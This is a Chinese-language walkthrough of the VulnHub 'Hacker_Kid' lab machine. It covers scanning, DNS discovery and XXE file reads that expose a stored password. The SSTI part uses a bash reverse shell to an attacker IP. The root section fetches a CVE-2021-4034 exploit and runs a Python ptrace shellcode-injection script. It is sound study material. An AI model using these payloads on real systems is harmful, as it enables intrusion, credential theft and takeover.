准备

攻击机: kali/win11
靶机: Hacker_Kid-v1.0.1 192.168.91.0 网段 NAT
下载链接:

https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova

主机发现

https://github.com/czheisenberg/MyCode/blob/master/Scan/scapy/ping.py
python3 ping.py -H 192.168.91.0/24

如图所示得到了目标IP地址: 192.168.91.192

端口扫描

nmap -sV -A -p- -T4 192.168.91.192 –oN Hacker_kid_nmap.txt

如图所示开放了 53(DNS服务),80(HTTP apache服务) , 9999(HTTP tornado服务)tornado为python的web框架。

HTTP

同时进行目录扫描

http://192.168.91.192/

http://192.168.91.192:9999/login?next=/

python3 dirsearch.py -u http://192.168.91.192/

python3 dirsearch.py -u http://192.168.91.192:9999/

从扫描两个web端口的目录来看没有什么有用的。

发现80端口网页的源代码中有一行注释:

如图所示告诉我们提交一个 GET 参数 page_no 来浏览页面。
按照这个方法试试看。猜测sql注入?测试过后似乎行不通

http://192.168.91.192/?page_no=1

如图所示当提交了 page_no=1 时返回了一句嘲讽的话:
Oh Man !! Isn’t is right to go a little deep inside?

多提交几个数字看结果有什么不一样的。


如图所示爆破处理结果,当 page_no=21时,有不一样的结果:
Okay so you want me to speak something ?<br>I am a hacker kid not a dumb hacker. So i created some subdomains to return back on the server whenever i want!!<br data-tomark-pass>Out of my many homes...one such home..one such home for me : hackers.blackhat.local
翻译一下: 大致意思在说他不是一个傻逼的黑客,创建了一个 域名,那么我们把 hackers.blackhat.local 添加到 /etc/hosts 中。


然后刷新 DNS

然后打开这个域名

http://hackers.blackhat.local/


可见还是和原来一样的。

dig

dig(域信息搜索器)命令是一个用于查询DNS域名服务器的工具。执行DNS搜索。

dig hackers.blackhat.local @192.168.91.192

如图所示得到了域名,把它们加入 /etc/hosts 中 然后刷新DNS缓存

http://hackerkid.blackhat.local/


打开来到一个注册页面。
查看源代码发现了 XML 语句

看到这个不禁联想到 XXE外部实体注入漏洞,正好最近几天在学习XXE漏洞。
先随便填写一些数据到表单中。抓包构造语句。

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY ohh SYSTEM "file:///etc/passwd">
]>
<root><name>ohh</name><tel>123456789</tel><email>
&ohh;
</email><password>password</password></root>

如图所示成功读取到了 /etc/passwd 的内容。

筛选了以下只有两个用户 具有 /bin/bash

1
2
3
root:x:0:0:root:/root:/bin/bash
……
saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash

一般可以搭配 伪协议读取文件。
问题来了不知道读取哪些文件有用,参考了一下网上的wp,读取 saket home目录下的 .bashrc 文件。

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY ohh SYSTEM "php://filter/convert.base64-encode/resource=/home/saket/.bashrc">
]>
<root><name>ohh</name><tel>123456789</tel><email>
&ohh;
</email><password>password</password></root>

得到了 .bashrc 问价的内容,base64解码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
if [ -f /usr/share/bash-completion/bash_completion ]; then
. /usr/share/bash-completion/bash_completion
elif [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi
fi

#Setting Password for running python app
username="admin"
password="Saket!#$%@!!"

在文件的最后拿到了用户名和密码:
admin:Saket!#$%@!!

现在就可以尝试在 9999 端口登陆了。
测试发现,直接使用 这个账号密码登陆失败。

因为这个文件是在 /home/saket 目录下面的。所以得到账号密码: saket:Saket!#$%@!!
经测试登陆成功。

好,现在登陆成功,页面告诉我们: Tell me your name.
我们在信息收集的时候已经知道了9999端口是 tornado python的框架,那么一般容易考 SSTI ,先来测试一下能否显示name


如图所示可以显示内容
尝试SSTI 注入,详细步骤省略。

查看目录下的文件

1
[http://192.168.91.192:9999/?name={{''.**class**.**mro**\[1\].**subclasses**()\[132\].**init**.**globals**\['popen'\]('ls').read()}}/](http://192.168.91.192:9999/?name=%7B%7B''.__class__.__mro__%5B1%5D.__subclasses__%28%29%5B132%5D.__init__.__globals__%5B'popen'%5D%28'ls'%29.read%28%29%7D%7D/)

想直接找 flag 发现这不光是ctf web题,这个是靶机,我们得反弹shell.

getshell

先开启 监听
nc -lvnp 4444

1
http://192.168.91.192:9999/?name={% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/172.30.6.172/4444 0>&1"')}}/

将 URL 编码

1
[http://192.168.91.192:9999/?name={%%20import%20os%20%}{{os.system('bash%20-c%20"bash%20-i%20>&%20/dev/tcp/172.30.6.172/4444%200>&1"')} }/](http://192.168.91.192:9999/?name=%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28'bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.30.6.172%2F4444%200%3E%261%22'%29%7D%7D/)


如图所示成功getshell。

提权

方法一:

查找 SUID
find / -perm -u=s -type f 2>/dev/null

如图所示查找到了一个十分眼熟得文件。如果看过我之前得文章,你就会知知 CVE-2021-4034 这个漏洞的强大,正常情况下只要是2021年及其以前的linux 系统都含有这个漏洞,所以该漏洞使用方法我不详细介绍,可以翻看我以前的文章。

首先将 exp 下载下来。在本地开启一个http服务用于下载到靶机当中。

python3 -m http.server

然后在靶机上切换到 /tmp 目录下。执行 wget 下载
wget http://172.30.6.172:8000/CVE-2021-4034.zip

如图所示下载成功

现在将其解压
unzip CVE-2021-4034.zip

然后进入解压目录执行 ./cve-2021-4034

如图所示成功拿到了 root 权限。
现在可以为所欲为了。

方法二

由于方法一的漏洞利用方式是 非预期的方法(万金油)。
查看 .bash_history 发现了一些有趣的东西。
cat .bash_history

如图所示:从这些字样可以得出结论:靶机本地 5600端口开放这一个服务。我们来验证一下:
ss -antp or netstat -tunlp 这两个命令类似,都可以查看本地端口占用信息。


如图所示:都没有看到有 5600 端口。

使用 enumeration 工具

./lse.sh -l 1 -i | more

如图所示:使用 enumeration List files with capabilties 中列除了一个文件:
**/usr/bin/python2.7 = cap_sys_ptrace+ep **

当python 具有 cap_sys_ptrace+ep 时,可以提权,参考链接:

https://www.cnblogs.com/zlgxzswjy/p/15185591.html

提权脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c

import ctypes
import sys
import struct

# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html

PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17

# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct

class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))

print("Instruction Pointer: " + hex(registers.rip))

print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):

# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)

# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))

print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

将脚本保存到靶机中

1
`for i in`ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 injection.py $i; done`


执行效果如图所示

查看 本地是否开启了 5600 端口
ss -antp | grep “5600”

然后 nc 链接即可

nc 192.168.91.192 5600


如图所示拿到了 root权限

参考链接:

https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc

https://www.youtube.com/watch?v=p1y8Zf8YdiA

https://blog.csdn.net/qwweggfe/article/details/119861584

https://www.cnblogs.com/zlgxzswjy/p/15185591.html

总结:

  1. 新学到了 dig(域信息搜索器) 工具。这是参考了大佬的wp才知道的。
  2. 靶机涉及到了 XXE漏洞 SSTI 注入,对于这两个漏洞,我有一定的了解。
  3. import os;os.system(‘bash -c “bash -i >& /dev/tcp/172.30.6.172/4444 0>&1 python getshell 的方式。
  4. 使用非预期的方式提权:CVE-2021-4034 ,这个漏洞是个万金油,基本上能通杀2021年及其以前的机器。十分方便。
  5. Python 具有 cap_sys_ptrace+ep 时可以提权,这个东西头一次见到。不看wp始终差点儿力量。
  6. 总得来说这个靶机有点儿难度,通过这次练习,学到了一些新的知识。再接再厉。